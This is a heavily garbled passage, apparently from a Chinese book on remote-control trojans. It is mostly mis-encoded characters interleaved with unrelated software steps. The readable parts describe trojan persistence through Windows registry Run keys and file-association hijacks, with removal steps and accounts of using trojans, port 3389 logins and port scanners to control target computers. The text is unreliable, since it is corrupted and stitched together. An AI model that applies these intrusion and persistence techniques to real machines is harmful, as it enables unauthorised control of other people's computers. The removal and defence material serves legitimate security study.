ંγຂහԅ໰๯Đēᘭऋ୶ďટٴᘭऋં

γຂහઝԅำߑຂහĐēϝݦୀ੾ďટٴ ࢡӾંγຂහӲ஍ୀ੾ԅઝఘĐd

Step 7 Ӧ ݬ q ੡ গ ༪ ົ r ᄯ ԅ q ࣅ ᄥ ൛ r ੡ গēάѻຣqࣅᄥ൛rԅճܥࣟd ኄ૛ࣷᆶ5߲჋ၜǈဣཥ႑တĂၩတĂ৊ײ࠶

૙Ăֱቴࢅޜခഗሞ၍Ⴊ߀ăሞĐဣཥ႑တđ჋ၜ ዐᆶ࿵߲Ӏ౧ă

ဣཥ႑တǖ੗ᅜ၂๖؜ణՔဣཥڦऺ໙ऐఁ

׬ǈCPUૌ႙ǈ֡ፕဣཥǈᆘಎǈా٪ٷၭڪă इൽ௢ஓǖీࠕ၂๖ణՔဣཥڦ࣐٪௢ஓă ዘഔऺ໙ऐǖ๑ణՔऺ໙ऐዘഔă

࠲Կऺ໙ऐǖ࠲ԿణՔऺ໙ऐă Կ໮ऺ໙ऐǖ໮ዿణՔऺ໙ऐă

Tufq!9!݀ໃၩတ

Tufq!:!৊ײ࠶૙

Tufq!21!ֱቴ࿔ॲ

Step 10 ӦݬqАდr༪ົ܊dၽუऺࢶྻАდ

ંγຂහᄯԅำߑdၽำ·ࣟᄯ೛దຸ

ྑАდԅำߑ੠ēྻރАდԅাࡅēၼ ӦݬqАდำߑr̟૆ēАდԅࠒڴ࡜

ݖၽຏੋԅำ·ࣟᄯມವѻࣿd Step 8 Ӧݬq່๯r༪ົ܊dၽუऺࢶྻၽำ

· ࣟ ᄯ ೛ ద γ ඕ ۤ ઝ ఘ ē Ӳ Ӧ ݬ q ֟ ഢr̟૆܊ēંγຂහ࡜ݖӰѻ່๯ճ ܥࣟē̼દຸҎӒԅ໰๯فᄉճֺd Step 9 Ӧݬqࠩёڕसr༪ົ܊dუऺࢶྻճ

ંγຂහԅࠩёࠩ໻Ѐࣅd

ඹڶqॹࡨࠩёr̟૆Аࢡંγຂහᄯ ԅ ൎ ပ ࠩ ё ē ω ပ ْ ّ ࠩ ё ԅ ື ຅ ໰

๯ēͧࣳࠩёۜdඹڶq౗҂ࠩёr̟

૆౗҂ࠩёēӲ௶ຕྑၽำ·ࣟᄯ೛ద

ຸྑ౗҂ԅࠩёۜd

ܮࢶྻඹڶqҗߙࠩёr̟૆ၽંγ ຂහᄯҗߙྡྷّ໭ԅࠩёēᄚ༓ྑٓѻ

໭ࠩёԅ੠ᆓd

ঞ ే ᅃ ቲ უऺൎഊԅqАდrēಾᄗၽંγ ຂහᄯА໻Аდd

Tufq!22!ሞ၍Ⴊ߀ޜခഗ

Tufq!23!֡ፕణՔဣཥዐڦ࿔ॲ

Step 12 Ӧ ݬ q ੡ গ ༪ ົ r ᄯ ԅ q ᘭ ऋ ୶ r ੡ গēӰѻqำߑڕस୶rғࣇdၽუऺ

ࢶྻճંγຂහᄯԅำߑࠩ໻ْᄵЀᆴ ఢӕࢗc౗҂cᄷ੡੠cΩހcำߑ౨ Ҏcำߑຏၻԉԉd

Step 13 ܮࢶྻඹڶqϝݦୀ੾rࣿճંγຂහ Ӳ஍ୀ੾ࠩ໻ϝݦdωඹڶq༪ົrᄯ q·ԙ೪γcߏ૭ပ໒r੡গࣿЀᆴં

γຂහd

˄˅㔥㒰݀⠯ⱘẔ⌟੠⏙䰸

ྪஏࠅ౥֑ᆩڦ๟࿔ॲ઒ӿࠀీǈ੗ᅜࢅႹ ܠ࿔ॲ઒ӿሞᅃഐǈ໯ᅜᄲൣأ໲၎ړઓవă

փࡗൣأ໲ඐᆶ࢔ܠݛ݆ă

Ɨ෸أྪஏࠅ౥ڦഔۯײႾCheckDll.exeǈ ᅃӯሞC:\windows\systemణ୤ူǈፌࡻ኱থሞC ಎዐ໇໭CheckDll.exe࿔ॲă

Ƙᅜူ๟ྪஏࠅ౥ሞጀ֩՗ዐႪ߀ࡗڦब

߲ںݛă

[ H K E Y _ C U R R E N T _ U S E R \ S o f t w a r e \ M i c r o s o f t \ Wi n d o w s \ C u r r e n t Ve r s i o n \ R u n ] ĐCheckDll.exeđ=đC:\WinDOWS\SYSTEM\

CheckDll.exeđ

[ H K E Y _ L O C A L _ M A C H I N E \ S o f t w a r e \ Microsoft\Windows\CurrentVersion\RunServices]

ĐCheckDll.exeđ=đC:\WinDOWS\SYSTEM\

CheckDll.exeđ

[ H K E Y _ U S E R S \ . D E FA U LT \ S o f t w a r e \ M i c r o s o f t \ Wi n d o w s \ C u r r e n t Ve r s i o n \ R u n ] ĐCheckDll.exeđ=ĐC:\WinDOWS\SYSTEM\

CheckDll.exeđ

ӝኄၵkeyኵ෸أۖă

ƙྪஏࠅ౥઒ӿࠀీᄺᆶ໲ڦෑۅǈఫ৽๟

઒ӿࢫڦ࿔ॲ׊܈ࣷሺेǈӝኄၵ࿚༶࿔ॲ෸أ ࢫǈም࣬ްኄၵ࿔ॲ৽੗ᅜକăසࡕ๟ᅃၵ෉ॲǈ ፌࡻ෸أዘጎă

5.4.2 ᇺײ੦዆Ⴀఢக

1.գࢋఢக

޿෉ॲዷᄲᆩᇀᇺײ॔੦ǈਏ༹ࠀీԈઔǖ

˄˅㞾ࡼ䎳䏾Ⳃᷛᴎሣᐩব࣪

ཞ้੗ᅜྜඇఇె॰ಎत຋Ք๼෇ǈनሞཞ օԥ੦܋ೡటՎࣅڦཞ้ǈ॔੦܋ڦᅃൎ॰ಎत

຋Ք֡ፕॽݒᆙሞԥ੦܋ೡటǄਆᇘྪ๢ᆩǅǗ

˄˅䆄ᔩ৘⾡ষҸֵᙃ

Ԉઔਸऐ੨ସĂೡԍ੨ସĂ߳ዖࠌၛጨᇸ੨ ସतਨٷܠຕሞܔࣆ઀ዐ؜၄ࡗڦ੨ସ႑တǗ

˄˅㦋প㋏㒳ֵᙃ

Ԉઔऺ໙ऐఁĂጀ֩ࠅິĂړമᆩࢽĂဣཥୟ ০Ă֡ፕဣཥӲԨĂړമ၂๖ݴՐ୲Ă࿿૙तஇड ىಎ႑တڪܠၜဣཥຕ਍Ǘ

˄˅䰤ࠊ㋏㒳ࡳ㛑

Ԉઔᇺײ࠲ऐĂᇺײዘഔऺ໙ऐĂ໮ۨ຋ՔĂ

໮ۨဣཥඤ॰त໮ۨጀ֩՗ڪܠၜࠀీ၌዆Ǘ Step 11 Ӧݬq׻๠୶ၽຬ༉؟r༪ົ܊dၽუ

ऺࢶྻၽຬ༉؟ฉ৮٤ૄԅS M T P׻๠

୶cժࣇۤંγဏັēၽำ·ࣟᄯඡۚ

ྑ༉؟ԅઝఘ܊ēӦݬqಁᄢಓ໒r̟

૆࡜ࢶྻॴd

˄˅䖰⿟᭛ӊ᪡԰

ԈઔظॺĂฉدĂူሜĂް዆Ă෸أ࿔ॲईణ

୤Ă࿔ॲუ໫Ă੺໏៓બ࿔Ԩ࿔ॲĂᇺײٶਸ࿔ॲ Ǆ༵ࠃକ຺ዐփཞڦٶਸݛ๕ĊĊኟ׉ݛ๕Ăፌ ٷࣅĂፌၭࣅࢅᆆ֠ݛ๕ǅڪܠၜ࿔ॲ֡ፕࠀీǗ

˄˅⊼ݠ㸼᪡԰

Ԉઔܔዷ॰ڦ៓બĂሺ෸Ăް዆Ăዘంఁࢅܔ

॰ኵڦ܁ႀڪ໯ᆶጀ֩՗֡ፕࠀీǗ

˄˅থ䗕ֵᙃ

ᅜ຺ዖ׉ᆩ཮Քၠԥ੦܋݀ໃ०܌႑တǗ

˄˅⚍ᇍ⚍䗮䆃

ᅜ଎ཀ๪ႚ๕ཞԥ੦܋৊ႜሞ၍঍༌ă

ٗᅃۨײ܈ฉ੗ᅜຫգࢋ๟ፌᆶఁڦఢக କǈ৽૶ߑথةۉసڦᆩࢽᄺདຫࡗ໲ă໚඗Ⴙ ܠ෫۾෉ॲ੗ᅜֱ෫໲ǈڍࡔాධᆶबๆྤዐգ

ࢋڦۉస٪ሞăፕྺఢகǈգࢋظሰକፌܠට๑ ᆩĂፌܠටዐڑڦആगă၄ሞྪฉᆼ؜၄କႹܠ ڦգࢋՎዖײႾǈኄ૛঻ถڦ๟ഄՔጚӲǈቨ࿥

କසࢆൣأՔጚӲǈምઠܔ޲Վዖգࢋ৽࢔ඹᅟ କăգࢋڦহ௬v8.4ӲԨසူ཮໯๖ă

գࢋڦহ௬࢔०লǈᅃ߲ߛपఢக޿ᆶڦࠀ

ీۼᆶǈأକ཮ฉጀ௽ڦࠀీྔǈዷᄲࠀీ࣏ᆶ ੨ସऻ୤Ăጀ֩՗֡ፕĂۯༀIPᆰॲཚኪĂᇺײ࠲

ऐतፌ࠲॰ڦᇺײႂሜă

˄˅Āބ⊇āⱘՓ⫼

ሞമ௬ڦӄ૩ᅙঢ়঄঴କසࢆ૧ᆩգࢋ໇

໭ߌකĐգࢋđఢகڦऺ໙ऐǈժک୤޿ऺ໙ऐă

ူ௬ዘۅ঄঴ᅃူ૧ᆩգࢋ੦዆ۉసڦ֡ፕă

Ğӄ૩5-5ğ૧ᆩգࢋఢகֱੂణՔऐഗೡట

Tufq!2!ยۨ཮ၟ֖ຕ

Tufq!3!ֱੂܔݛೡట Step 1 ढ़ࠄюٟճֺޙസݯ܊dࢶྻඹڶӦݬ

ٝ࡮ः౨ԅqАࢡୀ੾r̟૆ēݧ༪႔ ϲӦົqำߑ»ϝݦୀ੾rēӰѻq෍

຾ϵ೴ಁՇrճܥࣟd

Step 2 ಁᄢ෍຾ٌ಴ēς۪ᄆћJPEGۤBMP० ᄵ෍ଫٌ಴dඹڶ෠Վဓγ༪႔෍຾ԅ

ౄಇۤଶᄩēဓγၠࢬဗ෍຾ၠூ๩ē ӬუನݖߦԎҎ೛മէdಁᄢ෻ю܊Ӧ ݬq௲Շr̟૆ēუನ࡜ࢶྻၽ໭ӕࢗ

ԅ q ෍ ຾ ມ ವ r ғ ࣇ ᄯ ࢡ Ӿ ճ ֺ ୀ ੾ ॴdუऺАࢡӾԅಾ೓ࣅᅖݯӲ஍ԅୀ

੾ࠉ෍ēಾྡྷّࡁൟԅܢੋdఢڴຸྑ

ճճֺୀ੾ࠩ໻Ѐᆴē࡜ྑဈӾς۪ԅ ࣅᄥୀ੾ԅٟટॴd

Tufq!4!ยዃဣཥӀ॰

Step 3 Ӧݬᅖ࠘ੋ౨ԅqࣅᄥୀ੾r̟૆ēݧ ඹڶӦݬᄓ໻qำߑr»qୀ੾ࣅᄥr

੡গēӰѻۤАࢡୀ੾ອලԅq෍຾ϵ

೴ಁՇrճܥࣟē̟ලྂԅֺ಴ಁᄢ෍

຾೫໿އࢶdಁᄢ෻ю܊Ӱѻԅqࣅᄥ

ୀ੾ғࣇrྙۤАࢡୀ੾ನອഛēᄚಾ

უನມವԅಾճֺԅಬನᅱൟēγඕः

౨ݖϢծԅມವqჾၽࠄೌ೴࡬nrԅ ᆓྂd

ྺٷॆీࠕܔೡట੦዆ࠀీेศᆇၡǈምઠ

ੂᅃ߲ӄ૩ă

Ğӄ૩5-6ğ૧ᆩգࢋఢகֱੂణՔዷऐ৊ײ ᆶᅃۨۉసएإڦ܁ኁ੗ీۼኪڢǈཞ้

Ӏူ॰ಎฉڦĞCtrl + Alt + Delğ੺য॰੗ᅜ ٶ ਸ ඪ ခ ࠶ ૙ ഗ ֱ ੂ ړ മ ኟ ሞ ሏ ႜ ڦ ײ Ⴞ ࢅ

৊ ײ ă੗ ๟ ǈգ ࢋ ڦ ဣ ཥ Ӏ ॰ ு ᆶ ༵ ࠃĐ D e l đ

॰ǈሹ஺Ӹ఼Ǜ

Tufq!2!ٶਸਸ๔֓ڇ

Tufq!3!ሞሏႜܔࣆ઀ዐ๼෇

Đubtlnhs/fyfđంସ

Tufq!4!ٶਸඪခ࠶૙ഗ

Step 3 Ӧݬq௲Շr̟૆ēqWindowsఉ๠ڕ स୶r࡜ӕࢗॴd༪႔qࠩёr༪ົ࢕

Аࢡྡྷຏંγᅖݯ౨Ӳ஍ჾၽၮ໻ԅࠩ

ёd

ٗ ฉ ཮ ڦ ඪ ခ ࠶ ૙ ഗ ዐ ǈ੗ ᅜ ੂ ڟ ĐKernel32.exeđኄ߲৊ײǈኄ৽๟࿢்ڦգࢋఢக ޜခഗײႾሏႜ้ࠬথڦ৊ײăᆯᇀĐKernel32.

exeđ๟ᅃ߲ဣཥ৊ײǈᅃӯڦᆩࢽੂڟኄ߲৊ײ

੗ీࣷᅜྺ๟ဣཥኟ׉ڦۙᆩܸࢮ୼໲ǈኈኟڦ գࢋఢக৽ԥᆆ֠ۖକă

˄˅⏙䰸ᮍ⊩

Ɨ෸أC:WindowssystemူڦKernel32.exeࢅ

Sysexplr.exe࿔ॲă Ƙ գࢋࣷሞጀ֩՗

H K E Y _ L O C A L _ M A C H I N E / s o f t w a r e / Tufq!5!ဣཥӀ॰ၳࡕ

Step 4 ҂ॴqࣅᄥୀ੾ғࣇrෳēຂහܮݖӰ ѻྡྷّqຂහ̟ߏrԅ໌ճܥࣟd؞ճ ܥࣟ౨ԅ̟૆ճ࿫ອ࿫ԅຂහٟટߏd

ै ఢ ē ̟ ຏ q ຂ හ ̟ ߏ r ճ ܥ ࣟ ౨ ԅ qWi nr̟૆ēߜӕࢗંγᅖݯԅqࢗ

ಳrϲӦē࡜຾ಾၽ؞ᅖݯ·ԙ̟ຏߏ ૭౨ԅWindowsғࣇ̟ߏྡྷྂd

Step 5 ၽqୀ੾ࣅᄥғࣇrᄯࢶྻճંγᅖݯ

ࠩ໻ْᄵْྂԅЀᆴēۤЀᆴ·ԙݯ୶

෻௦ອලdӬಾࣅᄥժԅუ໔Ѐᆴߜݖ ௦Ϧມವԅճֺԅୀ੾౨ēუྂēఉۥ ఆ ՛ ݖ ֟ ຣ ᆑ ލ ԅ Ԩ ગ ჾ ၽ ΄ ι ఆ ࣅ ᄥēٞݬრ࡜෻௦ͲঽॴdൎྻēҲੜ ԅ۱ࢺඹШϢݖᄐࠄၽճֺୀ੾౨ࠩ໻

Ѐᆚd

Step 1 ೎ຕӕࢗqࢗಳrϲӦēֺ֥஍ྡྷّ̣

ैྸ࠼ߣڶd

Step 2 Ӧݬqၮ໻r੡গēၽqၮ໻rճܥࣟ

ᄯ೛దqtaskmgr.exer੡গd

microsoft/windows/ CurrentVersion/Runူሾߵǈ॰

ኵྺC:/windows/system/Kernel32.exeǈ෸أ໲ă ƙ ሞጀ֩՗ڦ

H K E Y _ L O C A L _ M A C H I N E / s o f t w a r e / microsoft/windows/ CurrentVersion/Runservices

ူǈ࣏ᆶ॰ኵྺC:/windows/system/Kernel32.exe ڦǈᄺᄲ෸أă

ƚ ፌࢫǈ߀ጀ֩՗

H K E Y _ C L A S S E S _ R O O T / t x t f i l e / s h e l l / open/commandူڦఐණኵǈᆯߌකఢகࢫڦC:/

windows/system/Sysexplr.exe %1߀ྺኟ׉൧઄ူ

ڦC:/windows/notepad.exe %1ǈन੗࣬ްTXT࿔

ॲ࠲૴ࠀీă

˄˅䰆㣗᥾ᮑ

०ڇݞዎڦݛ݆ǖਸ๔ŚยዃŚ੦዆௬Ӳ Śཁे෸أײႾŚw i n d o w sҾጎײႾŚӝ޹

ॲ૛ڦwindows scripting hostඁۖǈ඗ࢫٶਸ Internet Explorer៓બഗǈڇऍĐ߾ਏđŚĐInternet

჋ၜđŚĐҾඇđŚĐጲۨᅭप՚đǈӝ૛௬ڦগԨ ڦ3߲჋ၜඇև্ᆩǈ඗ࢫӝĐሞዐेሜײႾࢅ࿔

ॲđ্ᆩă

ړ඗ኄኻ๟०ڇڦݞዎݛ݆ǈփࡗ੗ీᆖၚ ᅃၵྪᄻڦۯༀjavaၳࡕǈኄᄣ࣏੗ᅜᇨݞᅃၵ

ܱᅪڦྪᄻቊڑࢅթ۾ăසࡕཉॲሎႹڦࣆ੗ᅜ

ेጎݞआ഻ǈምڟྲ෉ڦྪበٶၵցۡǈ࣏ᆶ৑

ଉณሞᅃၵၭྪበူሜᅃၵײႾڪă 2.࠽ྔ౰ิ

࠽ྔ౰ิ๟࠽۫ྔᇕྔஹٷბĐ࠽ྔ౰ิđ

ྪஏၭፇڦፕ೗ǈ೦࣋Ⴀ࢔ٷǈ੗ᅜᇺײฉدĂူ

ሜĂ෸أ࿔ॲĂႪ߀ጀ֩՗ڪăഄ੗಄ኮتሞᇀޜ ခ܋ԥኴႜࢫǈࣷጲۯॠֱ৊ײዐ๟ޏࡤᆶĐূ

෷۾ӠđĂĐiparmorđĂĐtcmonitorđĂĐํ้॔੦đĂ ĐཀྪđĂĐkillđڪጴᄣǈසࡕ݀၄৽ॽ޿৊ײዕኹǈ

ᄺ৽๟ຫ๑ݞआ഻ࢅ෫۾෉ॲྜඇ฿ඁፕᆩă ፕ ྺ ᅃ ߲ ᇺ ײ ੦ ዆ ෉ ॲ ໲ ੗ ᅜ ሏ ႜ ᇀ WIN98ǈWINMEǈWINNTǈWIN2000/XPă໲ڦए Ԩࠀీᆶǖ࿔ॲ࠶૙ݛ௬ᆶฉدǈူሜǈ෸أǈ߀

ఁǈยዃຌႠǈॺ૬࿔ॲॄࢅሏႜኸۨ࿔ॲڪࠀ

ీǗጀ֩՗֡ፕݛ௬ǈඇ௬ఇెWINDOWSڦጀ

֩՗Պडഗǈඟᇺײጀ֩՗Պड߾ፕᆶසሞԨऐ

ฉ֡ፕᅃᄣݛՍǗೡట੦዆ݛ௬ǈ੗ᅜጲۨᅭ཮

ೌڦዊଉઠ३ณد๼ڦ้क़ǈሞਆᇘྪईߛྪ໏

ڦںݛ࣏੗ᅜඇೡ֡ፕܔݛڦ຋Քत॰ಎǈ৽ၟ

֡ጻጲमڦऺ໙ऐᅃᄣǗᇺײඪခ࠶૙ݛ௬ǈ੗

ᅜ኱࠵ں៓બܔݛش༹ǈໜᅪ෫ۖܔݛش༹ईഄ ዐڦ੦ॲǗഄ໱ࠀీ࣏ᆶᆰॲIPཚኪڪă

޿ఢகײႾሏႜࢫǈॽࣷሞဣཥڦS y s t e m ణ୤ူิׯᅃݻጲमڦੋԞǈఁ׬ྺD i a g c f g . e x eǈժ࠲૴E X E࿔ॲڦٶਸݛ๕ǈසࡕஹ඗෸

ۖକ޿࿔ॲǈॽࣷڞዂဣཥ໯ᆶE X E࿔ॲ࿮݆

ٶਸڦ࿚༶ă

˄˅Āᑓ໪ཇ⫳ā䕃ӊㅔҟ

࠽ྔڦ཮Քतٷၭǖਜ਼ࢽ܋ྺ282KĂޜခ

܋ྺ111KǄ၎ܔၭേǈፕᆩ๟ྺକݛՍฉدत઒

ӿǅă࠽ྔఐණ๑ᆩڦ܋੨๟6267ǈኄᅃۅሞᅃӯ ຫ௽ዐுᆶ঻ถǈ൐Ⴙܠڦྪበᄺுᆶ༵तă࠽

ྔ౰ิ཮Քă

࠽ྔڦহ௬ݥ׉߅৫ǈգࢋ໯ᆶڦࠀీ໲ए Ԩۼᆶă

Đ࠽ྔ౰ิđ࣏ጲټକႂሜࠀీă

˄˅݋ԧ᠟Ꮉ⏙䰸ᮍ⊩བϟ˖

Step 1 ဎ ဟ ؞ ઁ ৴ ё ༝ ၮ ໻ ನ ํ ֥ ౗ ҂ ؞ ำ ߑē࿙Ү୳ՎӾҢD O S੦಴ຏēდӾ SystemંৃຏԅDiagcfg.exeē౗҂൑Ģ Step 2 ဎဟDiagcfg.exeำߑྸ࠼΄౗҂ॴē࿙

ҮၽWindowsܬࡂຏఉۥEXEำߑ՛ߜ

ํ֥ၮ໻dდӾWindowsંৃᄯԅᅟЈ ζΩހ୶qRegedit.exerēߜ൑؟੠น qRegedit.comrĢ

Step 3 დӾHKEY_CLASSES_ROOTŃexefileŃ shellŃopenŃcommandēߜୣ੯ఊߏᄔ

؟юr%1 %*rĢ

Step 4 დӾHKEY_CLASSES_ROOTŃexefileŃ shellŃopenŃcommandēߜୣ੯ఊߏᄔ

؟юr%1 %*rĢ

Step 5 დ Ӿ ᅟ Ј ζ ົ ġ H K E Y _ L O C A L _ MACHINE\Software\Microsoft\Windows\

Current-Version\ RunServicesē౗҂ୣᄯ

੠ыนqDiagnostic Configurationrԅߏ ᄔĢ

Step 6 ڑԵᅟЈζΩހ୶ēݍӾWi n d o w sં

ৃēߜqRegedit.comr؟ݍqRegedit.

exerd 3.࢒۴

࢒۴๟ᅃ߲ࡔׂᇺײ॔੦෉ॲǈዷᄲᆩᇀ߲

ට࠶૙ࢅ॔੦ጲमڦۉసǈईᆩᇀഓᄽ࠶૙ටᇵ

॔੦ᇵ߾ۉసă࢒۴ײႾᄺ੗ᅜԥ࢒ਜ਼૧ᆩׯྺ

ఢக߾ਏǈഄ੗಄ኮتሞᇀ໲ᆶഽٷڦ෫৊ײࠀ

ీăᄺ৽๟ຫ੦዆܋੗ᅜໜᅪዕኹԥ੦܋ڦగ߲

৊ײǈසࡕኄ߲৊ײ๟౷ܙኮૌڦݞआ഻ǈ࢒۴

੗ᅜ๑ڥݞआ഻ڦԍࢺࠀీඇ࿮ǈ࢒ਜ਼੗ᅜᆯُ

ܸ׊ൻ኱෇ǈሞဣཥዐືᅪጻ࢙ă

ణമ๑ᆩڦ࢒۴ӲԨ๟2007V1.6Ӳǈሏႜ࢒

۴2007ਜ਼ࢽ܋ײႾǈ๯ْሏႜॽ؜၄๟Đဣཥย ዃđش੨ǈԈઔĐ॔ད܋੨đĂĐ૶থ௢ஓđĂĐᇺײೡ ట჋ၜđࢅĐג้ยዃđă

Đ॔ད܋੨đ๟ኸਜ਼ࢽ܋ڪ޿ޜခ܋૶থڦ TCP܋੨ăጀᅪ॔ད܋੨փీ๑ᆩဣཥᅙঢ়๑ᆩ ڦ܋੨ǈޏሶࣷӿۨ฿Өǈ੗ڇऍĐ֪๬đӀ౧ֱ

ੂ܋੨๟ޏ੗ᆩăǈ࿢்჋ስ8000܋੨ǈ֪๬঳ࡕ 8000܋੨੗ᅜ๑ᆩă

Đ૶থ௢ஓđᆯᆩࢽጲमኸۨǗĐᇺײೡట჋

ၜđยዃೡట၂๖ڦჿ෥߭๕ǈᆶ65536෥Ă256෥

ࢅ16෥ǈఐණྺ256෥ǗĐג้၌዆đኸۨ૶থג้

ڦࡹ௱ຕǄ0՗๖ᆦᇺڪځǅǈړגࡗኸ้ۨक़ࢫ ޜခ܋࣏ுᆶݒᆌǈሶጲۯൽၩُْد๼ǈਜ਼ࢽ

܋ᆩࢽᆌߵ਍ํाڦྪஏد๼໏܈৊ႜยዃăย ዃྜׯࢫڇऍĐඓۨđӀ౧ă

Ğӄ૩5-7ğظॺĐ࢒۴đޜခഗ܋ҾጎײႾ

Tufq!4!ยዃ੦዆჋ၜ!

Tufq!5!ยዃ૶থ႑တ

Tufq!6!ڇऍĐิׯđӀ౧

Step 4 ၽqॕࠄ༪ົrᄯಁᄢࢺܜժ໰๯ރॕ

ࠄੁ৲ԉ໰๯

Step 5 Ӧݬqಓюr̟૆ēͬӉಁᄢd۱Փၭ

༘ ဈ ܜ ᆑ Շ ࿌ ಓ ю ԅ ׻ ๠ ժ ё ༝ ำ ߑ

੠ēဎဟำߑ੠Ϣڟֳēొ՝నߑАდ ୯ࣿ࡜ٗৰְྡྷ໔dӲંγݯ୶ၮ໻ॴ ಓюԅ׻๠ժઁ৴ё༝܊ēάࢶྻඹڶ ۱Փ2007ࣿࣅᄥճֺॴd

Ğӄ૩5-8ğ๑ᆩ࢒۴2007ڦTelnetࠀీ

޿ࠀీૌຼᇀWindowsဣཥڦጴޙዕ܋ǈీ

ࠕ኱থཚࡗంସႜݛ๕੦዆ܔݛऐഗă

჋ስዷহ௬ዐڦሞ၍ዷऐǈڇऍంସӀ౧൶ ڦĐTelnetđӀ౧ǈन੗ሞٶਸڦĐጴޙዕ܋đش੨ ዐ๼෇੦዆ంସǈፕྺํ૩ǈሞĐጴޙዕ܋đش੨ ዐ๼෇ipconfigంସǈኴႜ঳ࡕසူ཮໯๖ă Step 1 Ӧݬqำߑr»qҗߙEXE̝ᅭ͑·׻

๠ժё༝rēӕࢗqҗߙ̝ᅭё༝rճ ܥࣟd

Step 2 ၽq̝ᅭ༪ົrᄯಁᄢ׻๠୶ё༝ԅ̝

ᅭ໰๯ēఢё༝੠c׻๠੠ԉd

Step 3 ၽqࣅᄥ༪ົrᄯಁᄢၭ༘۱Փࢺܜժ

ࠩ໻ԅࣅᄥЀᆴēၽ؞༪ົ࢕ᄯēࢶྻ

ಁ ᄢ ၭ ༘ ୀ ੾ ࣅ ᄥ c ำ ߑ ڕ स c ᅟ Ј ζcၭ༘Telnetcၭ༘ຂහࣅᄥԉЀᆴĢ ωயܮࢶྻඹڶಁᄢqರဈᆑՇ࿌ࣅᄥ

ੁ৲rēࣿಁᄢࣅᄥੁ৲ēಁᄢۚ܊ē Ӧݬqಓюr̟૆އࢶd

Ǆ1ǅ๮߾ൣأĐ࢒۴đఢக ķ᳈ᬍ⊼ݠ㸼˖

Tufq!3!ยዃҾጎ႑တ

ॽHKEY_CLASSES_ROOT\txtfile\shell

\open\commandူڦఐණ॰ኵᆯS_

SERVER.EXE %1߸߀ྺ

C:\WINDOWS\NOTEPAD.EXE %1Ǘ Step 1 ߜHKEY_LOCAL_MACHINE\Software\

CLASSES\txtfile\shell\open\commandຏԅ ੯ఊߏᄔဎ S_SERVER.EXE %1ٗ؟น C:\WINDOWS\NOTEPAD.EXE %1Ģ Step 2 ߜHKEY_LOCAL_MACHINE\Software\

M i c r o s o f t\Wi n d o w s\C u r r e n t Ve r s i o n\

RunServices\ຏԅґᄔwindows౗҂Ģ Step 3 ߜHKEY_CLASSES_ROOTۤHKEY_

LOCAL_ MACHINE\Software\CLASSES ຏԅWinvxdᅖߏ౗҂d

Windowsణ୤ူڦG_Server.exe࿔ॲॽጲ मጀ֩ׯޜခǄ9Xဣཥႀጀ֩՗ഔۯၜǅǈ௅ْ

ਸऐۼీጲۯሏႜǈሏႜࢫഔۯG_Server.dllࢅ

G_Server_Hook.dllժጲۯཽ؜ăG_Server.dll࿔

ॲํ၄ࢫோࠀీǈᇑ੦዆܋ਜ਼ࢽ܋৊ႜཚ႑ǗG_

Server_Hook.dllሶཚࡗથপAPIۙᆩઠᆆ֠թ۾ă ᅺُǈዐ۾ࢫǈੂփڟթ۾࿔ॲǈᄺੂփڟթ۾ጀ

֩ڦޜခၜăໜጣࣨߧጱޜခ܋࿔ॲڦยዃփ ཞǈG_Server_Hook.dllᆶ้ࢪ޹ሞExplorer.exeڦ

৊ײ੣क़ዐǈᆶ้ࢪሶ๟޹ሞ໯ᆶ৊ײዐă

ࣨߧጱڦፕኁܔᇀසࢆ༧ࡗ෫۾෉ॲڦֱ

෫ࢾକ࢔ٷ૰ഘăᆯᇀᅃၵAPIࡧຕԥপइǈኟ׉

ఇ๕ူవᅜՓ૦ڟࣨߧጱڦ࿔ॲࢅఇ੷ǈሰׯֱ

෫ฉڦઓవăᄲႂሜࣨߧጱۯༀੰܸ൐ԍኤဣཥ

৊ײփԪએᄺ࢔஑ݑǈᅺُሰׯକৎ೺ࣨߧጱሞ ࢻ૴ྪฉݘરڦਆ௬ă

ణമǈྪஏฉ੗ᅜቴڟᅃၵࣨߧጱఢக෉ॲă

Ǆ2ǅഄࠀీᇑ༬ۅ

Ɨܔᇺײऺ໙ऐ࿔ॲ࠶૙ǖఇݠWindows ጨ ᇸ࠶૙ഗǈ੗ᅜܔ࿔ॲ৊ႜް዆ĂቕཌྷĂ෸أǈዘ

ంఁĂᇺײሏႜڪǈ੗ᅜฉدူሜ࿔ॲई࿔ॲॄǈ

֡ፕ०ڇᅟᆩǗ

Ƙᇺײ੦዆ంସǖֱੂᇺײဣཥ႑တĂ२ൎ ӱֱੂĂ৊ײ࠶૙Ăش੨࠶૙Ăޜခ࠶૙Ăࠌၛ࠶

૙Ăپ૙ޜခĂMS-DosఇెǗ

ƙվइೡటǖํ้ೡట੦዆ǈ๑ᆩೡటൻۯ վइೡటǈ๑ೡట੦዆ٳڟํ้د๼Ǘ

ƚܠش੨֡ፕǈ੗ᅜܔᅃ໼ۉసཞ้৊ႜܠ

֡ፕतܔܠ໼ۉసཞ้৊ႜܠ֡ፕǗ

ƛଇዖᇺײ੦዆ႚ๕ǖਜ਼ࢽ܋ዷۯ૶থ੦዆

႙ࢅޜခ܋ጲۯฉ၍૶থ႙Ǘ

Ɯޜခ܋඄၌ยዃǖ੗ᅜӀႴᄲยዃޜခ܋

໯ਸݣڦ඄၌Ǘ

Ɲਜ਼ࢽ܋े੕ࢫๆݴၭേǈݛՍ๑ᆩǗ ƞ෉ॲၭേǈ࿮ႴҾጎǈժ৊ႜକெࣅǗ Ɵ෉ॲփࣷԥֱ෫ă

Ğӄ૩5-9ğ૧ᆩࣨߧጱཚࡗ3389܋੨ڦ෇ൔ 3389܋੨๟Windows 2000/Xp/2003 ᇺײጞ ௬ڦޜခ܋੨ăཚࡗ3389܋੨෇ൔᇺײऺ໙ऐǈ

੗ᅜၟ֡ፕԨںऺ໙ऐᅃᄣઠ੦዆ᇺײऺ໙ऐă ኄ૛ዘۅ঻ถWindows XPڦTerminal Servicesޜ ခă޿ޜခ๑ᆩڦ܋੨๟TCP 3389܋੨ă

ሞ෇ൔമǈ੗ᅜ჋ᆩᅃၵ׉९ڦ෢௮߾ਏǈ ૧ᆩ෢௮߾ਏઠቴᅃၵ඾चăኄ૛ǈ๑ᆩڦ߾ਏ

ྺࣨߧጱࢅ3389܋੨ਸഔ෉ॲă

Tufq!3!૶থڟణՔዷऐ

Tufq!4!ֱੂణՔዷऐ้क़

Step 1 ॆဈঠڛݧSuperScanēు੍ఝݹēࢡಾ

׮ၽరࣇগԉdუऺ࡜Ϣ༛೭ॴēࢶྻ

ϵ·ೠ஍ੋԅჃࠋdैఢēၽࡥ့ฉઝ

